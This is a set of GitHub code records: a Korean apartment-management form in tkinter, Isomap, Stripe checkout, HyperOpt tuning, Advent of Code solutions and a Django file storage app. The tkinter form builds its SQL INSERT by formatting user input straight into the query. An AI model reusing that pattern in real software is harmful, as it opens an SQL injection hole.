100\r\n default_y = 150\r\n\r\n main_title = ttk.Frame(self, style='TFrame', width=1100, height=600)\r\n main_title.place(x=default_x, y=default_y)\r\n\r\n main_label = ttk.Label(self, text='요청하기', width=21, style='TButton', foreground=\"maroon\", font=\"굴림 30\")\r\n main_label.place(x=default_x, y=default_y)\r\n # id_start\r\n\r\n # id_label_start\r\n x_st = 40\r\n x_nd = 140\r\n y_st = 130\r\n\r\n # label\r\n label_list = ['사유', '내용']\r\n self.size = len(label_list)\r\n for i in range(self.size):\r\n label = ttk.Label(self, text=label_list[i], style='TButton', width=9, foreground=\"maroon\")\r\n label.place(x=default_x + x_st, y=default_y + y_st)\r\n\r\n if i == 0:\r\n self.information_entity[i] = Entry(self, font=\"굴림 20\", width=50)\r\n self.information_entity[i].place(x=default_x + x_nd, y=default_y + y_st)\r\n\r\n else:\r\n self.information_entity[i] = Text(self, font=\"굴림 20\", width=50, height=10)\r\n self.information_entity[i].place(x=default_x + x_nd, y=default_y + y_st)\r\n y_st += 60\r\n y_st += 300\r\n label_list = ['전송', '취소']\r\n default_x += 60\r\n for i, label_i in enumerate(label_list):\r\n default_x += 100\r\n if label_i == '전송':\r\n label = ttk.Button(self, text=label_list[i], width=15, style='TButton',\r\n command=self.insert)\r\n else:\r\n label = ttk.Button(self, text=label_list[i], width=15, style='TButton',\r\n command=self.home_put)\r\n label.bind(\"\", self.clearTextInput)\r\n label.place(x=default_x, y=default_y + y_st)\r\n default_x += x_nd\r\n controlBar.controlBar(self)\r\n\r\n def home_put(self):\r\n job_log = {'관리자': lambda: self.controller.controller.show_frame('manager_login'),\r\n '경비원': lambda: self.controller.controller.show_frame('security_login'),\r\n '택배기사': lambda: self.controller.controller.show_frame('delivery_login'),\r\n '주민': lambda: self.controller.controller.show_frame('residents_login')}\r\n if self.log[2] in job_log.keys():\r\n job_log[self.log[2]]()\r\n self.clearTextInput()\r\n\r\n def insert(self):\r\n try:\r\n self.controller.controller.cur.execute('select * from 요청목록')\r\n self.count = len(self.controller.controller.cur.fetchall())\r\n except:\r\n self.count = 0\r\n\r\n for i in range(self.size):\r\n if i == 0:\r\n self.information[i] = self.information_entity[i].get()\r\n else:\r\n self.information[i] = self.information_entity[i].get('1.0', END)\r\n b = list(self.information.values())\r\n b.insert(0, '/'.join(self.controller.controller.update_clock()[0:3]) + '-' + str(self.count))\r\n b.insert(1, self.log[0])\r\n b.append('X')\r\n\r\n\r\n b[3]=b[3].replace('\\n', ' ')\r\n self.controller.controller.cur.execute('insert into 요청목록 values %s' % str(tuple(b)))\r\n self.controller.controller.cur.execute('commit')\r\n\r\n self.clearTextInput()\r\n\r\n def clearTextInput(self, event=0):\r\n for i in range(self.size):\r\n if i == 0:\r\n self.information_entity[i].delete(0, END)\r\n else:\r\n self.information_entity[i].delete('1.0', END)\r\n","repo_name":"DunkHimYo/apart_managment_system_v1","sub_path":"send_request.py","file_name":"send_request.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12820964521","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.spatial.distance import pdist, squareform\n\ndef get_k_matrix(data, k):\n \"\"\"\n 近邻矩阵\n @ param data: 样本集\n @ param k: 近邻参数\n\n @ return k_dist: 近邻矩阵\n \"\"\"\n\n dist = pdist(data, 'euclidean') #距离矩阵\n dist = squareform(dist) #转化为方阵\n \n inf = float('inf')\n m = dist.shape[0]\n k_dist = np.ones([m,m])*inf\n for i in range(m):\n top_k = np.argpartition(dist[i], k)[:k+1]\n k_dist[i][top_k] = dist[i][top_k]\n \n return k_dist\n\ndef Floyd(data):\n \"\"\"\n Floyd algorithm \n\n @ param data: 距离矩阵(m,m)\n \"\"\"\n m = data.shape[0]\n for k in range(m):\n for i in range(m):\n for j in range(m):\n data[i][j] = min(data[i][j], data[i][k]+data[k][j])\n\n return data\n\ndef MDS(data, n_dims):\n \"\"\"\n\n @ param data: (n_samples, n_features)\n @ param n_dims: target n_dims\n\n @ return Z: (n_samples, n_dims)\n\n \"\"\"\n \n n = data.shape[0]\n dist_ij = data**2\n\n dist = 1/(n**2)*dist_ij.sum() # (1,1)\n dist_i = np.sum(dist_ij, axis=1, keepdims=True)/n #(n,1)\n dist_j = np.sum(dist_ij, axis=0, keepdims=True)/n #(1,n)\n\n B = np.zeros((n,n))\n for i in range(n):\n for j in range(n):\n B[i][j]= -0.5*(dist_ij[i][j] - dist_i[i][0] - dist_j[0][j] + dist) \n\n eig_value, eig_vector = np.linalg.eig(B)\n \n index_list = np.argsort(-eig_value)[:n_dims]\n \n picked_eig_value = eig_value[index_list].real\n picked_eig_vector = eig_vector[:, index_list]\n\n Z = picked_eig_vector*picked_eig_value**(0.5)\n return Z\n\n\ndef Isomap(data, target_dims, k):\n \"\"\"\n @ param data : target matrix\n @ param target_dims : target dims\n @ param k : neighbors parameter\n\n @ return : mds(dist, target_dims)\n \"\"\"\n k_dist = get_k_matrix(data, k)\n dist = Floyd(k_dist)\n\n return MDS(dist, target_dims)\n\n\nif __name__=='__main__':\n \n data =np.array([[1,2,3,4],[2,1,5,6],[3,5,1,7],[4,6,7,1]]) #test data\n outcome = Isomap(data, 2, 3)\n print(outcome)\n \n \n\n","repo_name":"jaheel/Machine-Learning-Method_Code","sub_path":"9_Dimensionality_reduction_and_metric_learning/Code/Isomap/Isomap.py","file_name":"Isomap.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"4122020918","text":"#!/usr/bin/env python\n\nf = open('input.txt')\ncontents = f.readlines()\ntotal = 0\nfor line in contents:\n words = line.split()\n unique = set()\n no_dupes = True\n for word in words:\n word_char_arr = list(word)\n word_char_arr.sort()\n normalized_word = ''.join(word_char_arr)\n if not normalized_word in unique:\n unique.add(normalized_word)\n else:\n no_dupes = False\n break\n\n if no_dupes:\n total += 1\n\nprint(total)","repo_name":"kzabashta/advent-of-code-17","sub_path":"day4/main_part2.py","file_name":"main_part2.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2141661830","text":"import os\nimport numpy as np\nimport scipy.sparse\nimport yaml\nimport mlflow\nimport time\nimport utils.config_helpers\nimport os\nimport RecModel\nimport datetime\nimport hydra\nimport logging\nimport hyperopt as hp\nfrom functools import partial\nimport pickle\nfrom RecModel import unfold_config\n\nlog = logging.getLogger(__name__)\n\n# Helper functions\ndef eval_recwalk(params, cfg, train_mat_bin, train_mat_count, eval_mat, experiment):\n # This function is what Hyperopt is going to optimize (minimize 'loss' value)\n print(experiment)\n with mlflow.start_run(experiment_id=experiment):\n\n # flatten the config.\n params = unfold_config(params)\n\n # Log the config in hydra\n utils.config_helpers.log_config(dict(cfg.model)) \n\n # Log the params in mlflow\n utils.config_helpers.log_config(params) \n \n n_users, n_items = train_mat_bin.shape\n np.random.seed(seed=cfg.model.seed)\n\n # Log this run\n log.info(f\"Hyper parameter for this run are {params}\")\n\n if params['eval_method'] == 'PR':\n recwalk = RecModel.Recwalk(num_items=n_items, num_users=n_users, eval_method=params['eval_method'], k_steps=params['steps'], damping=params['damping'])\n else:\n recwalk = RecModel.Recwalk(num_items=n_items, num_users=n_users, eval_method=params['eval_method'], k_steps=params['steps'], damping=None)\n\n start = time.time()\n if params['train_mat'] == 'count':\n recwalk.train(train_mat_count.copy(), phi=params['phi'], alpha=params['alpha'], l1_ratio=params['l1_ratio'], max_iter=params['max_iter'], tolerance=params['tol'], cores=cfg.model.cores, verbose=cfg.model.verbose)\n else:\n recwalk.train(train_mat_bin.copy(), phi=params['phi'], alpha=params['alpha'], l1_ratio=params['l1_ratio'], max_iter=params['max_iter'], tolerance=params['tol'], cores=cfg.model.cores, verbose=cfg.model.verbose)\n\n # Log the training time\n mlflow.log_metric(\"training_time\", int(round(time.time() - start, 0)))\n\n start = time.time()\n perf_all = recwalk.eval_topn(test_mat=eval_mat.copy(), topn=np.array(cfg.model.top_n_performances,\n dtype=np.int32), rand_sampled=int(cfg.model.rand_sampled), cores=int(cfg.model.cores), random_state= int(cfg.model.seed))\n mlflow.log_metric(\"Topn_evaluation_time\", int(round(time.time() - start, 0)))\n\n # Log the topn performance of the model\n for pos in range(len(cfg.model.top_n_performances)):\n mlflow.log_metric(f\"recallAT{cfg.model.top_n_performances[pos]}_of_{cfg.model.rand_sampled}\", perf_all[f\"Recall@{cfg.model.top_n_performances[pos]}\"])\n\n # We will always choose the first topn performance. Hopefully, that is also the smallest is most relevant for us.\n rel_topn_perf = perf_all[f\"Recall@{cfg.model.top_n_performances[0]}\"] \n log.info(f\"Current recallAT{cfg.model.top_n_performances[0]}_of_{cfg.model.rand_sampled} performance was {rel_topn_perf}\")\n loss = -rel_topn_perf\n return {'loss': loss, 'status': hp.STATUS_OK, 'eval_time': time.time()}\n\ndef hyper_opt_fmin(space, fun, additional_evals, verbose = 0, trials_path='../trials.p', **kwargs):\n # This is a wrapper around the training process that enables warm starts from file.\n\n objective = partial(fun, **kwargs)\n # Try to recover trials object, else create new one!\n try:\n trials = pickle.load(open(trials_path, \"rb\"))\n if verbose > 0:\n print(f\"Loaded trails from {trials_path}\")\n except FileNotFoundError:\n trials = hp.Trials()\n \n # Compute the effect number of new trials that have to be run.\n past_evals = len(trials.losses())\n new_evals = past_evals + additional_evals\n\n best = hp.fmin(fn = objective, space=space, algo=hp.tpe.suggest, max_evals = new_evals, trials=trials)\n if verbose > 0:\n print(f\"HyperOpt got best loss {trials.best_trial['result']['loss']} with the following hyper paramters: \\n{trials.best_trial['misc']['vals']}\")\n \n # Store the trials object\n pickle.dump(trials, open(trials_path, \"wb\"))\n \n return best, trials\n\n# Work around to get the working directory (after release use hydra.utils.get_original_cwd())\nfrom hydra.plugins.common.utils import HydraConfig\ndef get_original_cwd():\n return HydraConfig().hydra.runtime.cwd\n\n@hydra.main(config_path='configs/config.yaml')\ndef my_app(cfg):\n # Main \n\n # Load mat.\n # Be aware that hydra changes the working directory\n train_mat_bin = scipy.sparse.load_npz(os.path.join(get_original_cwd(), cfg.model.train_mat_bin_path))\n train_mat_count = scipy.sparse.load_npz(os.path.join(get_original_cwd(), cfg.model.train_mat_count_path))\n n_users, n_items = train_mat_bin.shape\n eval_mat = scipy.sparse.load_npz(os.path.join(get_original_cwd(), cfg.model.eval_mat_path))\n\n # The algorithms rely on the sparse matrices being sorted by idx.\n train_mat_bin = train_mat_bin.astype(np.float32)\n train_mat_count = train_mat_count.astype(np.float32)\n eval_mat = eval_mat.astype(np.float32)\n eval_mat.sort_indices()\n train_mat_bin.sort_indices()\n train_mat_count.sort_indices()\n\n # Setup HyperOpt\n space = {'eval_method' : hp.hp.choice('eval_method', [\n {'type': 'PR',\n 'damping' : hp.hp.uniform('damping', 0, 1),\n 'steps': hp.hp.choice('steps_PR', np.arange(1, 20))\n },\n\n {'type': 'k_step',\n 'steps': hp.hp.choice('steps_k_steps', np.arange(1, 20))\n }\n ]),\n 'train_mat': hp.hp.choice('train_mat', ['count', 'bin']),\n 'phi': hp.hp.uniform('phi', 0, 1),\n\n # Hyper params of slim\n 'alpha': hp.hp.lognormal('alpha',0, 1),\n 'l1_ratio' : hp.hp.lognormal('l1_ratio', 0, 1),\n 'max_iter': hp.hp.choice('max_iter', np.arange(1, 40)),\n 'tol': hp.hp.lognormal('tol', -3, 1.0)\n }\n\n # Set up MLFlow experiment\n experiment_name = f\"HyperOpt_recwalk_{datetime.datetime.now().strftime('%Y-%m-%d %H:%M').replace(' ', '_')}\"\n experiment = mlflow.create_experiment(experiment_name)\n\n # Log the config\n log.info(\"Starting Optimization\")\n hyper_opt_fmin(space, eval_recwalk, cfg.gridsearch.num_evals, verbose = 0, cfg=cfg, train_mat_count=train_mat_count, train_mat_bin=train_mat_bin, eval_mat=eval_mat, experiment=experiment) \n log.info(\"Optimization finished\\n\")\n\n # Shutdown VM when grid-search is finished\n if cfg.model.shutdown == 1:\n os.system(\"shutdown now -h\")\n\nif __name__ == \"__main__\":\n my_app()\n","repo_name":"titoeb/master_thesis_code","sub_path":"Hyper_Opt_RecWalk.py","file_name":"Hyper_Opt_RecWalk.py","file_ext":"py","file_size_in_byte":6651,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"20247104944","text":"import json\nimport gspread\n\nfrom django.conf import settings\nfrom oauth2client.client import SignedJwtAssertionCredentials\n\ndef gc():\n scope = ['https://spreadsheets.google.com/feeds']\n credentials = SignedJwtAssertionCredentials(settings.GOOGLE_CLIENT_EMAIL, settings.GOOGLE_PRIVATE_KEY, scope)\n ss = gspread.authorize(credentials)\n return ss\n\ndef send_rows_to_sheet(sheet_key, cols, rows, useSheet1=True):\n ss = gc().open_by_key(sheet_key)\n if useSheet1:\n wks = ss.sheet1\n else:\n wks.add_worksheet(\"Import Export\", len(rows), len(cols))\n wks.append_row(cols)\n for row in rows:\n wks.append_row(row)","repo_name":"zmcghee/reelguide","sub_path":"importer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"1437102326","text":"from django.http import JsonResponse\nfrom django.shortcuts import render, get_object_or_404\n\nimport stripe\nfrom rest_framework.decorators import api_view\nfrom .models import Item, Order\nfrom django.conf import settings\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\n\ndef item(request, order_id):\n order = Order.objects.get(pk=order_id)\n return render(request, 'details.html', {'order': order, 'settings': settings})\n\n\n@api_view(['GET'])\ndef buy(request, order_id):\n order = Order.objects.get(id=order_id)\n items = order.items.all()\n line_items = []\n for item in items:\n line_items.append({\n \"price_data\": {\n \"currency\": \"usd\",\n \"product_data\": {\n \"name\": item.name\n },\n \"unit_amount\": int(item.price * 100),\n },\n \"quantity\": 1,\n })\n\n if order.tax:\n line_items.append({\n \"price_data\": {\n \"currency\": \"usd\",\n \"product_data\": {\n \"name\": \"Tax\"\n },\n \"unit_amount\": int(order.tax.tax_amount * 100),\n },\n \"quantity\": 1,\n })\n\n discounts = None\n if order.discount:\n discounts = [{\n 'coupon': stripe.Coupon.create(amount_off=int(order.discount.discount_amount * 100),\n duration=\"once\",\n currency='usd')\n }]\n\n session = stripe.checkout.Session.create(\n payment_method_types=[\"card\"],\n line_items=line_items,\n mode=\"payment\",\n discounts=discounts,\n success_url=f\"http://localhost:8000/success\",\n cancel_url=\"http://localhost:8000/cancel\",\n )\n\n return JsonResponse({\"session_id\": session.id})\n\n\ndef cancel(request):\n return render(request, 'cancel.html')\n\n\ndef success(request):\n return render(request, 'success.html')\n\n","repo_name":"AndreyFrolov44/rishat_test","sub_path":"web/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2937643679","text":"import pandas as pd \nfrom tqdm import tqdm\nimport requests\nfrom requests.adapters import TimeoutSauce\nimport os\nimport backoff\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\n\n\ndef requests_retry_session(\n retries=3,\n backoff_factor=0.3,\n status_forcelist=(500, 502, 504),\n session=None,\n):\n session = session or requests.Session()\n retry = Retry(\n total=retries,\n read=retries,\n connect=retries,\n backoff_factor=backoff_factor,\n status_forcelist=status_forcelist,\n )\n adapter = HTTPAdapter(max_retries=retry)\n session.mount('http://', adapter)\n session.mount('https://', adapter)\n return session\n\n\n\ndirectory = '/home/rajsuryan/Desktop/PopEvol_1960-2020/'\ndata_path = directory + \"Data/\"\napi_file = directory + \"last.fm_api_info.txt\" #replace with the file having your api key\napi_key = open(api_file).read().strip()\n\n#Load the dataframe with all the songs\nsongs_df = pd.read_csv(data_path + 'hot100_features_with_tags.csv')\nsongs = songs_df[\"Song\"]\nartists = songs_df[\"Performer\"]\n\n#Initiate search payload\npayload = {\n 'api_key': api_key,\n 'method': 'track.getInfo',\n 'format': 'json',\n 'track': '',\n 'artist': ''\n }\n\n#Search for songs and retrieve \nmbids = []\nfor i in tqdm(range(len(songs))):\n\n payload['track'] = songs[i]\n payload['artist'] = artists[i]\n try:\n r = requests_retry_session().get('http://ws.audioscrobbler.com/2.0/', params=payload)\n track = r.json()[\"track\"]\n except Exception:\n mbids.append(\"\")\n else:\n mbid = \"\"\n \n if \"mbid\" in track:\n mbid = track[\"mbid\"]\n mbids.append(mbid)\n\n \n\n\n\nsongs_df[\"MB_ID\"] = mbids\n\nsongs_df.to_csv(data_path + 'hot100_features_with_tags.csv')\n\nprint(\"Musicbrainz IDs have been collected!\")\n","repo_name":"rrrajjjj/music_evolution","sub_path":"Scripts/get_mbids.py","file_name":"get_mbids.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4469910624","text":"# Question: DisconnectCycle\n# Technique Used: Linked list fast-slow pointer\n# Time Complexity: O(n)\n# Space Complexity: O(1) - constant space\n# Time Spent: 35 min\n\nclass Node: \n def __init__(self, val) -> None:\n self.next = None\n self.val = val\n \nclass LinkedList:\n def __init__(self, val) -> None:\n self.head = val\n\n \"\"\"\n Goal: Find a cycle within a linked list\n Params: head of linked list\n Output: meeting point of fast and slow pointers\n \"\"\"\n def find_cycle(self):\n # init slow, fast pointers\n slow = self.head\n fast = self.head\n \n # traverse until fast and slow pointer are at same location\n # fast ptr will eventually catch up to the slow pointer\n # continue until you reach the end of linked list (if exists)\n while slow.next != None and fast.next.next != None: \n # update slow and fast ptrs\n slow = slow.next\n fast = fast.next.next\n\n # ptrs are at same location; return meeting point\n if slow == fast:\n print(\"Meeting point: \", fast.val)\n return fast\n \n \"\"\"\n Goal: Cut off cycle within the linked list\n Params: meeting point of fast and slow pointers\n Output: Linked list with removed cycle\n \"\"\"\n def cut_cycle(self, meeting_pt):\n prev = None # keep track of previous ptr from meeting\n curr = self.head # ptr at front of linked list\n\n # continue traversing until meeting and init ptr meet\n while meeting_pt != curr:\n # update ptrs\n curr = curr.next\n prev = meeting_pt\n meeting_pt = meeting_pt.next\n print(\"Curr: \", curr.val, \"Prev: \", prev.val)\n prev.next = None # set previous of meeting ptr to null to break cycle\n \n \"\"\"\n Goal: Given a singly linked list, disconnect the cycle, if one exists.\n Params: linked list\n Output: cycle-detached linked list (if exists)\n \"\"\"\n def DisconnectCycle(self):\n # edge case: empty linked list\n if self.head is None:\n return\n\n meeting_pt = self.find_cycle() # call to helper function find cycle\n\n self.cut_cycle(meeting_pt) # call to cut off cycle helper function\n\n \"\"\"\n Goal: helper function to print the linked list\n Parameters: None\n Output: None, just print the linked list values\n \"\"\"\n def print_llist(self):\n # edge case: linked list exists\n if self.head is None:\n print(\"EMPTY LINKED LIST\")\n return\n \n curr = self.head # keep track of current node\n # linked list exists, so traverse it\n while (curr != None):\n print(curr.val) # print current value\n curr = curr.next # move to next node\n\n\n# Test Cases\nif __name__ == \"__main__\":\n test_list = LinkedList(1)\n\n test_list.head = Node(10)\n test_list.head.next = Node(18)\n test_list.head.next.next = Node(12)\n test_list.head.next.next.next = Node(9)\n test_list.head.next.next.next.next = Node(11)\n test_list.head.next.next.next.next.next = Node(4)\n # cycle\n test_list.head.next.next.next.next.next.next = test_list.head.next.next.next.next.next\n print(\"_________Original LIST__________________\")\n # test_list.print_llist()\n # uncomment for endless cycle printing\n\n print(\"___________Disconnect cycle______________\")\n test_list.DisconnectCycle()\n test_list.print_llist()\n\n\n \n \n \n \n \n","repo_name":"Uber-Career-Prep-2023/Uber-Career-Prep-Homework-Mansi-Saini-NEW","sub_path":"Assignment-2/DisconnectCycle/src/DisconnectCycle.py","file_name":"DisconnectCycle.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11037553615","text":"'''使用支持向量机对手写数字图像进行分类\n 首先生成大量图片并加入随机干扰,然后把这些图片划分为训练集和测试集,接下来使用训练集对模型进行训练,最后使用测试\n 集进行评分。'''\n\nfrom os import mkdir,listdir\nfrom os.path import isdir,basename\nfrom random import choice,randrange\nfrom string import digits\nfrom PIL import Image,ImageDraw\nfrom PIL.ImageFont import truetype\nfrom sklearn import svm\nfrom sklearn.model_selection import train_test_split\n\n\n#图像尺寸、图片中的数字字体大小、噪声比例\nwidth,height=30,60\nfontSize=40\nnoiseRate=8\n\ndef generateDigits(dstDir='datasets',num=40000):\n #生成num个包含数字的图片文件存放在当前目录下的datasets子目录\n if not isdir(dstDir):\n mkdir(dstDir)\n #digits.txt用来存储每个图片对应的数字\n with open(dstDir+'\\\\digits.txt','w') as fp:\n for i in range(num):\n #随机选择一个数字,生成对应的彩色图像文件\n digit=choice(digits)\n im=Image.new('RGB',(width,height),(255,255,255))\n imDraw=ImageDraw.Draw(im)\n font=truetype('c:\\\\windows\\\\fonts\\\\TIMESBD.TTF',fontSize)\n #写入黑色字体\n imDraw.text((0,0),digit,font=font,fill=(0,0,0))\n #加入随机干扰\n for j in range(int(noiseRate*width*height)):\n w,h=randrange(1,width-1),randrange(height)\n #水平交换两个相邻像素的颜色\n c1=im.getpixel((w,h))\n c2=im.getpixel((w+1,h))\n imDraw.point((w,h),fill=c2)\n imDraw.point((w+1,h),fill=c1)\n im.save(dstDir+'\\\\'+str(i)+'.jpg')\n fp.write(digit+'\\n')\n\ndef loadDigits(dstDir='datasets'):\n #获取所有图像文件名\n digitsFile=[dstDir+'\\\\'+fn for fn in listdir(dstDir) if fn.endswith('.jpg')]\n #按编号排序\n digitsFile.sort(key=lambda fn:int(basename(fn)[:-4]))\n #digitsData用于存放读取的图片中数字信息\n #每个图片中所有像素值存放于digitsData中的一行数据\n digitsData=[]\n for fn in digitsFile:\n with Image.open(fn) as im:\n # getpixel()方法用来读取指定位置像素的颜色值\n data=[sum(im.getpixel((w,h)))/len(im.getpixel((w,h))) for w in range(width) for h in range(height)]\n digitsData.append(data)\n #digitsLabel用于存放图片中的数字的标准分类\n with open(dstDir+'\\\\digits.txt') as fp:\n digitsLabel=fp.readlines()\n #删除数字字符两侧的空白字符\n digitsLabel=[label.strip() for label in digitsLabel]\n return (digitsData,digitsLabel)\n\n#生成图片文件\ngenerateDigits(num=100)\n#加载数据\ndata=loadDigits()\n\nprint('数据加载完成。')\n\n#随机划分训练集合测试集,其中参数test_size用来指定测试集大小\nX_train,X_test,y_train,y_test=train_test_split(data[0],data[1],test_size=0.1)\n\n#创建并训练模型\nsvcClassifier=svm.SVC(kernel=\"linear\",C=1000,gamma=0.001)\nsvcClassifier.fit(X_train,y_train)\nprint('模型训练完成。')\n\n#使用测试集对模型进行评分\nscore=svcClassifier.score(X_test,y_test)\nprint(\"模型测试得分:\",score)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","repo_name":"Mrweiwei/Python_learning","sub_path":"Python 数据实验/机器学习/使用支持向量机对手写数字图像进行分类.py","file_name":"使用支持向量机对手写数字图像进行分类.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29326403704","text":"import networkx as nx\nimport Common\nimport string\nimport itertools\n\n\ndef get_new_pos(old_pos, move_vector):\n return tuple(dim + move for dim, move in zip(old_pos, move_vector))\n\n\ndef is_door(symbol):\n return symbol in string.ascii_uppercase\n\n\ndef is_key(symbol):\n return symbol in string.ascii_lowercase\n\n\ndef get_door(key):\n return key.upper()\n\n\ndef get_key(door):\n return door.lower()\n\n\ndef add_adjacent_connections(pos, tiles, graph):\n for move in directions:\n adjacent_pos = get_new_pos(pos, move)\n if adjacent_pos not in tiles:\n continue\n\n adjacent = tiles[adjacent_pos]\n current = tiles[pos]\n\n required_keys = []\n if is_door(adjacent):\n required_keys.append(get_key(adjacent))\n if is_door(current):\n required_keys.append(get_key(current))\n\n if adjacent != WALL:\n graph.add_edge(pos, adjacent_pos, required_keys=required_keys)\n\n\ndef get_path_length(graph, start_pos, dest_pos, collected_keys):\n return nx.shortest_path_length(graph, start_pos, dest_pos,\n weight=lambda u, v, d:\n 1 if all(required in collected_keys for required in d['required_keys'])\n else None)\n\ndef get_dist_to_closest_uncollected(graph, all_keys, collected_keys, pos):\n closest_path = 9999999\n uncollected = [key_item for key_item in all_keys.items() if key_item[0] not in collected_keys]\n if len(uncollected) == 0:\n return 0\n for key_sym, key_pos in uncollected:\n try:\n path_length = get_path_length(graph, pos, key_pos, collected_keys)\n closest_path = min(closest_path, path_length)\n except nx.NetworkXNoPath:\n pass\n return closest_path\n\n\ndef get_first_node_to_visit(graph, all_keys, possible_keys, collected_keys, initial_pos):\n assert possible_keys\n if len(possible_keys) == 1:\n return possible_keys[0]\n fully_traversed_keys = collected_keys.copy()\n\n for key_sym, _ in possible_keys:\n fully_traversed_keys.add(key_sym)\n\n min_cycle = 9999999\n min_ordering = None\n\n for key_ordering in itertools.permutations(possible_keys, len(possible_keys)):\n cycle_length = 0\n pos = initial_pos\n for key_sym, key_pos in key_ordering:\n cycle_length += get_path_length(graph, pos, key_pos, fully_traversed_keys)\n pos = key_pos\n cycle_length += get_dist_to_closest_uncollected(graph, all_keys, fully_traversed_keys, pos)\n\n if cycle_length < min_cycle:\n min_cycle = cycle_length\n min_ordering = key_ordering\n return min_ordering[0]\n\n\ndef get_min_traverse(graph, pos, keys, collected_keys):\n if len(keys) == len(collected_keys):\n return 0\n possibles = []\n for key_item in keys.items():\n key_sym, key_pos = key_item\n if key_sym in collected_keys:\n continue\n try:\n _ = get_path_length(graph, pos, key_pos, collected_keys)\n possibles.append(key_item)\n except nx.NetworkXNoPath:\n pass\n\n key_sym, key_pos = get_first_node_to_visit(graph, keys, possibles, collected_keys, pos)\n print(key_sym)\n path_length = get_path_length(graph, pos, key_pos, collected_keys)\n collected_keys.add(key_sym)\n\n return get_min_traverse(graph, key_pos, key_locations, collected_keys) + path_length\n\n\nNORTH = (0, -1)\nSOUTH = (0, 1)\nEAST = (1, 0)\nWEST = (-1, 0)\n\ndirections = [\n NORTH,\n SOUTH,\n WEST,\n EAST\n]\n\nWALL = '#' # impassable\nENTRANCE = '@' # passable\nOPEN = '.' # passable\n# DOOR = uppercase #impassable until removed\n# KEY = lowercase #passable\n\nlines = Common.inputAsLines()\n\ntile_map = {}\nkey_locations = {}\ndoor_locations = {}\nmap_graph = nx.Graph()\nentrance_pos = None\n\nfor row, line in enumerate(lines):\n for col, c in enumerate(line):\n curr_pos = (row, col)\n tile_map[curr_pos] = c\n if c == WALL:\n continue\n elif is_key(c):\n key_locations[c] = curr_pos\n elif is_door(c):\n door_locations[c] = curr_pos\n elif c == ENTRANCE:\n entrance_pos = curr_pos\n elif c == OPEN:\n pass\n else:\n assert 0\n\n map_graph.add_node(curr_pos)\n\n add_adjacent_connections(curr_pos, tile_map, map_graph)\n\nprint(door_locations)\n\ncurr_pos = entrance_pos\nvisited_keys = set()\n\ntotal = get_min_traverse(map_graph, curr_pos, key_locations, visited_keys)\n\nprint(total)\n","repo_name":"WaivedAnswer/AdventOfCode","sub_path":"2019/18/Program.py","file_name":"Program.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9676238935","text":"import os\n\nimport magic\nfrom django.http import HttpRequest, HttpResponse, HttpResponseBadRequest, FileResponse, HttpResponseNotAllowed\nfrom rest_framework import status\nfrom django.http import JsonResponse\nfrom app.forms import FileForm\nfrom app.models import File\nfrom storage_test_project import settings\n\n\ndef upload(request: HttpRequest) -> HttpResponse:\n if request.method == 'POST':\n form = FileForm(request.POST, request.FILES)\n if form.is_valid():\n hash_name = form.save()\n response = JsonResponse({'hash_name': str(hash_name)}, status=status.HTTP_200_OK)\n return response\n return HttpResponseBadRequest()\n return HttpResponseNotAllowed(permitted_methods='POST')\n\n\ndef download_or_delete(request: HttpRequest) -> HttpResponse:\n if request.method == 'POST':\n if 'hash_name' in request.POST:\n obj = File.objects.filter(file__contains=request.POST['hash_name'] + '.')\n if len(obj) > 0:\n obj = obj[0]\n path = settings.MEDIA_ROOT + \"/\" + str(obj.file)\n if request.path == '/download/':\n file_type = magic.from_file(path, mime=True)\n response = FileResponse(obj.file, content_type=file_type)\n elif request.path == '/delete/':\n os.remove(path)\n obj.delete()\n response = JsonResponse(data={'info': \"The file was deleted.\"}, status=status.HTTP_200_OK)\n return response\n return HttpResponseBadRequest()\n","repo_name":"olyaave/storage_test_project","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"37277489569","text":"from __future__ import unicode_literals\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Event \nfrom .forms import UploadFileForm\nimport json, base64, os\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\n#import base64\n\n# from django.contrib.auth.decorators import login_required\n# from django.shortcuts import get_object_or_404, redirect, render\n\ndef landingpage(request):\n return render(request, 'landing.html')\n\n@csrf_protect\ndef home(request):\n c = {}\n events = Event.objects.all()\n return render(request, 'base.html', 